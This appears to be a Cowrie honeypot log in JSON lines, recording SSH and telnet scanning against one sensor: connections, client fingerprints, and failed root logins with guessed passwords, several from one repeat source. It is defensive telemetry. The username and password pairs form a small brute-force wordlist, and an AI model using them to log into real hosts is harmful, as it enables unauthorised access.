{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:34.662732Z","src_ip":"103.219.170.37","session":"1933ed742714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Raj@12345","message":"login attempt [root/Raj@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:35.544716Z","src_ip":"103.219.170.37","session":"1933ed742714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.47134566307068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:36.430421Z","src_ip":"192.119.13.58","session":"c5ebd5d03758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:36.826397Z","src_ip":"103.219.170.37","session":"1933ed742714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":42026,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ec574c176c","protocol":"ssh","message":"New connection: 103.173.227.57:42026 (10.17.0.5:22) [session: 72ec574c176c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:38.331964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:38.337698Z","src_ip":"103.173.227.57","session":"72ec574c176c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:38.574486Z","src_ip":"103.173.227.57","session":"72ec574c176c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:39.286186Z","src_ip":"103.173.227.57","session":"72ec574c176c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:40.525643Z","src_ip":"103.173.227.57","session":"72ec574c176c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e441f930914d","protocol":"telnet","message":"New connection: 192.119.13.58:46140 (10.17.0.5:23) [session: e441f930914d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:46.643697Z"}
{"eventid":"cowrie.session.closed","duration":45.740116119384766,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:48.028908Z","src_ip":"192.119.13.58","session":"6041cccedeef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51644,"dst_ip":"10.17.0.5","dst_port":23,"session":"df4dff96fe4c","protocol":"telnet","message":"New connection: 192.119.13.58:51644 (10.17.0.5:23) [session: df4dff96fe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:48.534531Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52242,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2685089df68","protocol":"telnet","message":"New connection: 192.119.13.58:52242 (10.17.0.5:23) [session: f2685089df68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:48.728522Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35612,"dst_ip":"10.17.0.5","dst_port":22,"session":"2026693ad84b","protocol":"ssh","message":"New connection: 103.149.170.125:35612 (10.17.0.5:22) [session: 2026693ad84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:54.720594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:54.725992Z","src_ip":"103.149.170.125","session":"2026693ad84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.103.116.0","src_port":41209,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f8839cc7a49","protocol":"telnet","message":"New connection: 59.103.116.0:41209 (159.203.135.109:23) [session: 2f8839cc7a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:54.765281Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:55.006670Z","src_ip":"103.149.170.125","session":"2026693ad84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45676,"dst_ip":"10.17.0.5","dst_port":23,"session":"97a8a702699e","protocol":"telnet","message":"New connection: 192.119.13.58:45676 (10.17.0.5:23) [session: 97a8a702699e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:55.643404Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"19821982","message":"login attempt [root/19821982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:55.844737Z","src_ip":"103.149.170.125","session":"2026693ad84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54318,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e7142f0cda","protocol":"ssh","message":"New connection: 103.153.68.219:54318 (10.17.0.5:22) [session: 51e7142f0cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:56.853842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:56.861023Z","src_ip":"103.153.68.219","session":"51e7142f0cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:57.111654Z","src_ip":"103.153.68.219","session":"51e7142f0cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:57.131599Z","src_ip":"103.149.170.125","session":"2026693ad84b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yuantuo2012","message":"login attempt [root/yuantuo2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:57.866920Z","src_ip":"103.153.68.219","session":"51e7142f0cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:44:59.121696Z","src_ip":"103.153.68.219","session":"51e7142f0cda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":52334,"dst_ip":"10.17.0.5","dst_port":22,"session":"88247d83dfe8","protocol":"ssh","message":"New connection: 91.4.14.170:52334 (10.17.0.5:22) [session: 88247d83dfe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:00.442824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:00.449422Z","src_ip":"91.4.14.170","session":"88247d83dfe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:00.551768Z","src_ip":"91.4.14.170","session":"88247d83dfe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:00.991687Z","src_ip":"91.4.14.170","session":"88247d83dfe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:02.094603Z","src_ip":"91.4.14.170","session":"88247d83dfe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37520,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c3a61bc078c","protocol":"telnet","message":"New connection: 192.119.13.58:37520 (10.17.0.5:23) [session: 7c3a61bc078c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:02.964992Z"}
{"eventid":"cowrie.session.closed","duration":12.274258375167847,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:07.039456Z","src_ip":"59.103.116.0","session":"2f8839cc7a49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":40504,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8db426a51b","protocol":"ssh","message":"New connection: 186.219.184.142:40504 (10.17.0.5:22) [session: ad8db426a51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:18.140964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:18.146065Z","src_ip":"186.219.184.142","session":"ad8db426a51b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:18.292646Z","src_ip":"186.219.184.142","session":"ad8db426a51b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello2026@","message":"login attempt [root/Hello2026@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:18.907342Z","src_ip":"186.219.184.142","session":"ad8db426a51b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:20.057239Z","src_ip":"186.219.184.142","session":"ad8db426a51b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.66720485687256,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:25.201604Z","src_ip":"192.119.13.58","session":"df4dff96fe4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.89958381652832,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:25.543151Z","src_ip":"192.119.13.58","session":"e441f930914d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.92.70","src_port":23688,"dst_ip":"159.203.135.109","dst_port":22,"session":"abf1f4ce25b6","protocol":"ssh","message":"New connection: 115.190.92.70:23688 (159.203.135.109:22) [session: abf1f4ce25b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:27.678843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:27.684803Z","src_ip":"115.190.92.70","session":"abf1f4ce25b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:27.911181Z","src_ip":"115.190.92.70","session":"abf1f4ce25b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server123","message":"login attempt [root/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:28.982996Z","src_ip":"115.190.92.70","session":"abf1f4ce25b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.03060793876648,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:29.673892Z","src_ip":"192.119.13.58","session":"97a8a702699e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.29573369026184,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:30.024115Z","src_ip":"192.119.13.58","session":"f2685089df68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:30.203639Z","src_ip":"115.190.92.70","session":"abf1f4ce25b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34684,"dst_ip":"10.17.0.5","dst_port":23,"session":"f114c141988a","protocol":"telnet","message":"New connection: 192.119.13.58:34684 (10.17.0.5:23) [session: f114c141988a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:42.330521Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38294,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ac67c3345a","protocol":"telnet","message":"New connection: 192.119.13.58:38294 (10.17.0.5:23) [session: d5ac67c3345a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:43.315696Z"}
{"eventid":"cowrie.session.closed","duration":44.92421865463257,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:47.889091Z","src_ip":"192.119.13.58","session":"7c3a61bc078c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37522,"dst_ip":"10.17.0.5","dst_port":23,"session":"252ce4717d40","protocol":"telnet","message":"New connection: 192.119.13.58:37522 (10.17.0.5:23) [session: 252ce4717d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:45:50.754236Z"}
